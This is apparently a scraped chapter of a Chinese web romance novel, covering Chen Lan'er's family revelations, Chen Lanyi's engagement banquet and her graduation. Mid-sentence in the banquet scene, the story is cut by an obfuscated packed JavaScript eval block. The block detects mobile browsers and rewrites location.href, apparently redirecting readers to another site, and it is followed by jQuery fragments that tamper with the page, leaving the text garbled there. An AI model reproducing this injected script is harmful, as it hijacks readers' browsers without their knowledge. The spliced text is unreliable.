陈澜二觉得，这会儿，自己在这两三分钟内接收到的信息，竟然比呆在学校实验室里，连续做了一个星期的实验，听了一个星期的关于师哥、师姐们的“往昔岁月”“光辉历史”时，接收到的信息，还要多，还要杂，还要让人震惊。


    首先，他的双胞胎姐姐陈澜一，其实并不是他的母亲所生的，而是父亲当年和一个女大学生生下的私生子；其次，其实，他自己才是真正意义的哥哥，而陈澜一，应当是妹妹才对。


    没想到父母身上，居然藏着这么多的爱恨情仇和陈年烂事，陈澜二感觉脑瓜子嗡嗡的，他皱着眉头，看向曹美德：“妈，你就那么确定，我真是你亲生的吗？”


    曹美德差点抄起棉拖鞋砸他脑门上：“什么话！你是不是我自己生的，我还能确定不了吗？！”


    “眼下当务之急，是你姐，攀上了陈慕阳这棵大树以后，知道了自己的真实身世之后，就要和我们划清界线，彻底不管咱们娘俩了！”


    “这丧良心的贱胚子！我好不容易把她养这么大，她倒好，翅膀硬了就想自己飞走，忘恩负义啊！”


    看着曹美德这样丧心病狂地辱骂从小和自己相依为命的“姐姐”陈澜一，陈澜二的眉头皱得更紧了。


    他知道自己接下来说的话，妈妈听了以后，会很不开心，但还是照实说了出来：“妈，其实我觉得姐姐这样做，什么错也没有。如果是我，在知道了自己的真实身世以后，很可能也会这样做的。毕竟这么多年，你和爸爸，从来也不曾好好地养育过她。”


    还有半句话，陈澜二不敢说出来——包括我这个亲生儿子，你也不曾好好地养育过。


    没想到精心养育了二十多年的好大儿，和自己居然不是一条心的，曹美德被他这一番话，怼得有些语塞：“可是，可······如今我们帮她傍上了新阳集团的陈慕阳，对于你这个弟弟，她总得付出些什么吧！”


    陈澜二沉默不语。


    虽然智商远不及陈澜一，但他从小也是学校里排得上名号的聪明人物，当然知道妈妈说的“付出”，指的是什么意思。


    他也当然知道，倘若能有“姐姐”陈澜一和“姐夫”陈慕阳帮忙，以后，他想在首都生活工作，扎下脚跟，肯定会比自己一个人奋斗，轻松很多很多。


    可是，他实在是不忍心，再看着从小就没过过什么好日子，眼看着马上就可以有能力斩断原生家庭束缚的陈澜一，再一次因为他，被妈妈“剥削”“压榨”，乃至继续被绑定后半生。


    “妈。”陈澜二定定地看着曹美德，静静地开了口，“既然姐姐心意已定，我们还是不要去打扰她了。你放心，我会努力学习，尽快在首都扎下根基的。以我的能力，哪怕没有任何人帮助，也可以过得很好。”


    “姐姐的前半生已经很辛苦了，现在，既然她想要自由，你就放手吧。算我，求你了······”


    曹美德看着陈澜二真诚的脸庞，竟透过他，仿佛看到了陈澜一那张痛苦纠结的脸。


    她看到那张脸，由小至大，总是苦哈哈的，动不动就掉眼泪。


    许是被陈澜二说动，又许是良心未泯，再想到这几天陈澜一拒绝她时那坚决又无情的态度，曹美德认命似的闭上眼睛，低声道：“好，妈都听你的。”


    却又听陈澜二低声说道：“但是，妈，为了咱娘俩以后的日子好过一点，我觉得，你还是尽快和爸爸离婚吧。”


    曹美德睁开眼睛，不明所以。


    陈澜二说：“刚才你回来之前，爸爸喝醉了，有人打电话给他，是我接听的。电话里那人说，爸爸这段时间借着自己是新阳集团未来老丈人的身份，在地下赌场大赌特赌，输掉的钱，加起来已经快有两百万了！”


    电话里那人说，如果他再不给钱，就要找人到我们家里来催债了！”


    曹美德的心，瞬间落到谷底。


    既然陈澜一已经下定决心要和她，和陈老三断绝亲子关系，那么曾经陈新阳答应给他们的八十八万彩礼，肯定也不会兑现了。


    日子这才稍微好过一点，陈老三这好赌如命，好酒如命的恶劣本性，就又浮现出来了。要他彻底改变，恐怕得等到下辈子了。况且——


    当你在家里发现了第一只蟑螂的时候，说明已经有更多蟑螂潜伏在暗处了；当一个孩子说他想尿尿了的时候，其实已经尿在裤兜上了。


    当有人打电话说陈老三欠了两百万的赌债时，说明他欠下的其他赌债也都已经在路上了。


    看来这次，不是小打小闹的。


    曹美德当机立断，趁着陈老三酒醉还未醒，进了房间，手脚很快地收拾东西，她准备跑路。


    她让陈澜二马上购买最近的，可以离开A市的高铁票：“澜二，我们走。这里，已经没有什么值得我们留念的东西了。”


    又说：“其实，很多年以前，妈就已经和你爸爸领了离婚证了。”


    “还有，你的亲生父亲不是他。当年，妈是发现怀上了你以后，不舍得打掉你，但又怕被你外公外婆发现，走投无路，才找陈老三顶包的······”


    ***


    陈澜一与陈慕阳的订婚宴如期举行。


    婚宴定在新阳集团旗下的一家度假酒店中。


    日头渐落，时光渐晚，宾客们，也如约到达。


    宴会厅内觥筹交错，应约而来的客人们，不但非富即贵，而且大多与陈家私交甚好，谁都不想错过这个结交“好友”，拓展人脉的好机会。


    宴会厅内熙熙攘攘，不时有人开怀大笑，休息室内，陈澜一却一个人沉默地站立着。


    她穿一件红色修身晚礼服，正透过休息室的玻璃窗，出神地看着自己耳朵上一对散发着熠熠火彩的红宝石耳坠。


    刚才还在外面与客人们应酬的陈慕阳，轻轻推开休息室的门进来：“澜一，客人们都到了。”


    陈澜一转过身，一改刚才面无表情的状态，冲他露出一个灿烂的笑容。陈慕阳立即觉得，自己的心都快融化了。


    他绅士地向她伸出手：“该是我们出场的时候了。”


    陈澜一点头，伸出自己戴着白色蕾丝手套的右手，轻轻放在他的手上。


    陈慕阳赶紧用力握住，生怕自己稍一松手，眼前的美人儿，就会像小鸟似的，欢快地飞走。


    订婚宴并不像正式结婚那样讲究仪式感，客人们在宴会厅内，或站或坐，显得松弛极了。


    但是当陈慕阳牵着陈澜一的手，悄悄地出现在宴会厅大门口时，大家还是默契地噤了声，目不转睛地看向这一对颜值很搭，社会地位与经济背景，却天差地别的幸福男女。


    陈新阳自觉地充当主持人，亮亮的嗓门喊起话来，气势十足：“感谢大家百忙之中，前来参加我弟弟陈慕阳和未来弟媳陈澜一的订婚宴，其实，今天不仅是他们订婚的大好日子，也是陈慕阳正式加入新阳集团董事会的日子······”


    她这话一说完，宴会厅内的聚光灯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650446|182840||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，就都照到了陈澜一和陈慕阳的脸上。


    陈澜一被那亮白的灯光刺得有些睁不开眼睛，朦胧中，她听到有人在欢呼，有人在放礼花，还有人偷偷在八卦：“怎么一个女方的亲戚都没有见到？！”


    陈慕阳，则一手紧紧握着她的手，一手揽着她的腰，在她耳边轻轻问：“这对红宝石耳坠你喜欢吗？”


    还有她的手机，传来轻微的震动声。


    陈澜二发来信息：【姐，祝你订婚快乐，祝你幸福，祝你永远自由。妈这边，你不要担心，我会控制住她；爸那边，你千万不要去理会。去过你真正想要的那种生活吧，我永远支持你！】


    【PS:如果姐夫欺负你，你就跟我说。哪怕天南海北，我也会赶来为你撑腰的！】


    ——


    “有请师范系优秀毕业生——陈澜一登台！”


    陈澜一身穿粉领学士服，头戴已经拨过穗的学士帽，再一次站在了大报告厅的舞台上。


    和她一起站上舞台的，还有数十名其他系的优秀毕业生。但唯独陈澜一，和站在她身边的一个女孩子，肩上披着象征荣誉的红绶带，胸口戴着大红花。


    绶带上印着八个黄色大字：报效祖国，建功西部。


    当陈澜一站在发言台前，言辞恳切地说着自己的毕业感言与出征誓词时，站在台下，抱着鲜花，目光一直追随着未婚妻的陈慕阳，终于忍不住流下了两行热泪。


    一想到自己即将和陈澜一开始长达两年的异地恋，他就忍不住泪流满面。


    他以为自己表现得已经够伤心了，却没想到，身边还有人，哭得比他更大声，更难受。


    陈慕阳忍不住凑过去，用胳膊肘戳一戳那个男生：“喂，你哭什么？！”


    那男生抹了一把眼泪，气愤地指着台上意气风发的女孩子说：“看见没，就那个，戴着大红花那女的，是我女朋友！ 她都没有和我商量一下，就偷偷报了西部计划！渣女啊！”


    陈慕阳原本已经感觉好多了，眼泪也不再流了，现在被这男生的情绪一激发，差点儿又掉下眼泪来。


    他学着他的模样，指着陈澜一：“发言的那个，看见没，是我未婚妻。”


    那男生一看陈澜一学生服上别着的大红花，就秒懂了。他痛心地拍了拍陈慕阳的肩膀：“哥们，咱哥俩真是——同是天涯沦落人啊！”


    陈慕阳难受地点点头，又听那男生问：“你未婚妻，也是没有和你商量，就报了西部计划？”


    陈慕阳如实回答：“那倒没有，我们商量过，等她结束两年服务期，就回来和我结婚。”


    ······


    所以说，没事不要和别人比惨。


    比惨之下，往往是没有最惨，只有更惨。


    陈慕阳本来还想安慰一下身边这个同样“凄惨”的“同道中人”，却听对方从鼻子里发出一声：“滚！”


    就立时消失在了人群中。


    倒是陈澜一，在发言结束后，笑着向他走来。


    “慕阳，你怎么来了？你不是说不想来参加我的毕业典礼吗？”


    陈慕阳嘴硬心软：“要不是我姐逼着我来，我才不想来！”


    手上，却是老老实实地递上鲜花：“澜一，恭喜你，终于毕业了。可以正式走上工作岗位，走上社会的大舞台，去追求你想要的自由生活了。”


    陈澜一张开双臂，没有接过鲜花，只是将他牢牢抱在怀里：“谢谢你，我亲爱的未婚夫。”